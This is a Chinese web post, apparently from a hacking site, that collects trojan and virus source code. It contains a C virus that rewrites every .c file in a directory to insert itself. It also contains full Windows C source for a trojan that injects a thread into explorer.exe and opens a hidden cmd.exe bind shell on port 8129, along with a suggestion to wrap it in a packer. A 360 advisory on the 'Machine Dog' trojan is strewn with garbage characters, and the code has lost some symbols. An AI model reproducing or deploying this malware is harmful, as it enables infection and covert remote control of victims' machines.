×

木马程序代码大全

木马程序代码大全(木马程序编程)

hacker hacker 发表于2022-07-11 01:02:20 浏览92 评论3

3人参与发表评论

本文目录一览:

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。

(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

机器狗木马三代病毒源代码

机器狗木马三代是机器狗木马的最新变种,从五一假期开始处于爆发趋势,至今愈演愈烈,[b][color=red]截至目前已有百万电脑中招[/color][/b]。360安全中心再次紧急更新360顽固木马专杀大全,全面围剿机器狗木马三代。(360顽固木马专杀大全下载地址:[url=][color=#0044dd][/color][/url])KE|.C|(Z+^

QC|Y\(ZMXE

机器狗是一种危害极强的木马病毒下载器,它会给受害者的电脑下载大量的木马、病毒、恶意软件、插件等。[b][color=red]一旦中毒,受害者的电脑便随时可能感染任何木马病毒,这些木马病毒会疯狂地盗用用户的QQ账号密码、游戏账号密码、网上银行卡号密码等用户信息,也会破坏操作系统,严重的会使系统彻底崩溃。[/color][/b]2f?*u4kZ

0ZQ2kA*RO ]+Q6RF 本次出现的新变种则更加猖狂,主要有如下行为:M5@q'@I-\\lq

3b@1@`(BY'Rf [b]1. 使杀毒软件失效并破坏系统[/b]

%i%Y:@$^^^D%a@

.szk*}? jV_ 感染更多系统文件,在安装有卡巴斯基的电脑里,能先使卡巴斯基失效,以便释放一个驱动。在这个驱动的作用下,机器狗新变种木马就能绕过所有的还原软件和自我保护以及开机免疫,进而为所欲为。.J/O1|Vq,W

4]z F{|W [b]2. 给电脑装上大量的病毒和木马[/b] Q.j `AG8c u

o}*_Kj9b4G

感染后的系统文件会自动后台访问木马网站,下载一个TXT文本文件,并根据文件里的配置下载相关木马。从这个角度上来讲,这个新变种的机器狗也承担了一部分的“木马运输”工作,成为其他木马的渠道,以便以此获利。

%o9QL_S\Z.G1H

"O7a!C2|;gfV [b]3. 破坏360保险箱的保护,盗取账号密码[/b],Qg P%[ se

C8s oVS Hs 部分新变种能特别针对360保险箱进行攻击,修改360保险箱中的关键文件,取消游戏保护功能,继而盗取账号密码。

Z [6hv?` x

7l%\*F^3wk@ S +X4Up0~lS Ie ^

nas`vw9rc/A

如果大家遇见以上症状,请下载机器狗专杀或者360专杀大全进行全面检测和查杀h~StE#q

0c!RhI.fO1fl+r

机器狗专杀下载地址:[url=][color=#0000ff][/color][/url][f!s0k2v EU'l

/{P#e^f)G 360专杀大全下载地址:[url=][color=#0000ff][/color][/url]

!G"Gr L2Y6A/a K%yi4o cDf

[b][color=red]注:下载机器狗专杀运行后,会为您的电脑增加对机器狗的免疫。增加免疫后,可以抵御大多数木马病毒。[/color][/b]%Y)N#V(NJIi

8m UMA R

或者及时到360百科([url=][color=#0000ff][/color][/url])求助,也可直接发邮件至 [email]fk@360safe.com[/email]进行反馈。

木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激

制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全

一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....

#includewinsock2.h

#pragma comment(lib,"ws2_32.lib")

#includewindows.h

#include Shlwapi.h

#pragma comment(lib,"Shlwapi.lib")

#include tlhelp32.h

#include stdio.h

#include string.h

//参数结构 ;

typedef struct _RemotePara

{

DWORD dwLoadLibrary;

DWORD dwFreeLibrary;

DWORD dwGetProcAddress;

DWORD dwGetModuleHandle;

DWORD dwWSAStartup;

DWORD dwSocket;

DWORD dwhtons;

DWORD dwbind;

DWORD dwlisten;

DWORD dwaccept;

DWORD dwsend;

DWORD dwrecv;

DWORD dwclosesocket;

DWORD dwCreateProcessA;

DWORD dwPeekNamedPipe;

DWORD dwWriteFile;

DWORD dwReadFile;

DWORD dwCloseHandle;

DWORD dwCreatePipe;

DWORD dwTerminateProcess;

DWORD dwMessageBox;char strMessageBox[12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char telnetmsg[60];

}RemotePara; // 提升应用级调试权限

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID

DWORD GetPidByName(char *szName); // 远程线程执行体

DWORD __stdcall ThreadProc(RemotePara *Para)

{

WSADATA WSAData;

WORD nVersion;

SOCKET listenSocket;

SOCKET clientSocket;struct sockaddr_in server_addr;

struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;

HANDLE hWritePipe1;

HANDLE hReadPipe2;

HANDLE hWritePipe2;STARTUPINFO si;

PROCESS_INFORMATION ProcessInformation;

unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);

typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);

typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );

typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;

FARPROC PWSAStartup;

FARPROC PSocket;

FARPROC Phtons;

FARPROC Pbind;

FARPROC Plisten;

FARPROC Paccept;

FARPROC Psend;

FARPROC Precv;

FARPROC Pclosesocket;

FARPROC PCreateProcessA;

FARPROC PPeekNamedPipe;

FARPROC PWriteFile;

FARPROC PReadFile;

FARPROC PCloseHandle;

FARPROC PCreatePipe;

FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;

PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;

PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;

PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;LoadLibraryFunc(Para-winsockDll);PWSAStartup = (FARPROC)Para-dwWSAStartup;

PSocket = (FARPROC)Para-dwSocket;

Phtons = (FARPROC)Para-dwhtons;

Pbind = (FARPROC)Para-dwbind;

Plisten = (FARPROC)Para-dwlisten;

Paccept = (FARPROC)Para-dwaccept;

Psend = (FARPROC)Para-dwsend;

Precv = (FARPROC)Para-dwrecv;

Pclosesocket = (FARPROC)Para-dwclosesocket;

PCreateProcessA = (FARPROC)Para-dwCreateProcessA;

PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;

PWriteFile = (FARPROC)Para-dwWriteFile;

PReadFile = (FARPROC)Para-dwReadFile;

PCloseHandle = (FARPROC)Para-dwCloseHandle;

PCreatePipe = (FARPROC)Para-dwCreatePipe;

PTerminateProcess = (FARPROC)Para-dwTerminateProcess;

PMessageBoxA = (FARPROC)Para-dwMessageBox;nVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)WSAData);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;

server_addr.sin_port = Phtons((unsigned short)(8129));

server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;

if(Plisten(listenSocket, 5))return 0;

clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);

// Psend(clientSocket, Para-telnetmsg, 60, 0);if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;

if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;

while(1) {

memset(Para-Buff,0,4096);

PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);

if(lBytesRead) {

if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;

if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;

}else {

lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);

if(lBytesRead =0 ) break;

if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;

}

}PCloseHandle(hWritePipe2);

PCloseHandle(hReadPipe1);

PCloseHandle(hReadPipe2);

PCloseHandle(hWritePipe1);

Pclosesocket(listenSocket);

Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);return 0;

} int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

const DWORD THREADSIZE=1024*4;

DWORD byte_write;

void *pRemoteThread;

HANDLE hToken,hRemoteProcess,hThread;

HINSTANCE hKernel,hUser32,hSock;

RemotePara myRemotePara,*pRemotePara;

DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);

EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0)return 0;

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存

pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程

if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;ZeroMemory(myRemotePara,sizeof(RemotePara));

hKernel = LoadLibrary( "kernel32.dll");

myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");

myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");

myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");

myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");

myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");

myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");

myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");

myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");

myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");

myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");

myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");

myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");

myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");

myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");

myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");

myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");

myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");

myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");

myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");

myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");

strcat(myRemotePara.winsockDll,"wsock32.dll\\0");

strcat(myRemotePara.cmd,"cmd.exe\\0");

strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程

pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);

if(!pRemotePara)return 0;

if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程

hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);

while(1) {}

FreeLibrary(hKernel);

FreeLibrary(hSock);

FreeLibrary(hUser32);

CloseHandle(hRemoteProcess);

CloseHandle(hToken);return 0;

} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

return((GetLastError() == ERROR_SUCCESS));

}DWORD GetPidByName(char *szName)

{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe32={0};

DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap, pe32))

{

do

{

if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)

{

dwRet=pe32.th32ProcessID;

break;

}

}while (Process32Next(hProcessSnap,pe32));

}

else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);

return dwRet;

群贤毕至

访客
鹿岛矫纵 鹿岛矫纵2022-07-11 10:22:08 | 回复 SSENTRY32 pe32={0};DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hProcessSnap == INVALID_HANDLE_VALUE)
只影绾痞 只影绾痞2022-07-11 03:00:04 | 回复 ad); if(strstr(buffer,int_virus)) while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"
怎忘只酷 怎忘只酷2022-07-11 08:36:34 | 回复 制端对服务端进行远程控制,数据传输的网络载体。 (2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配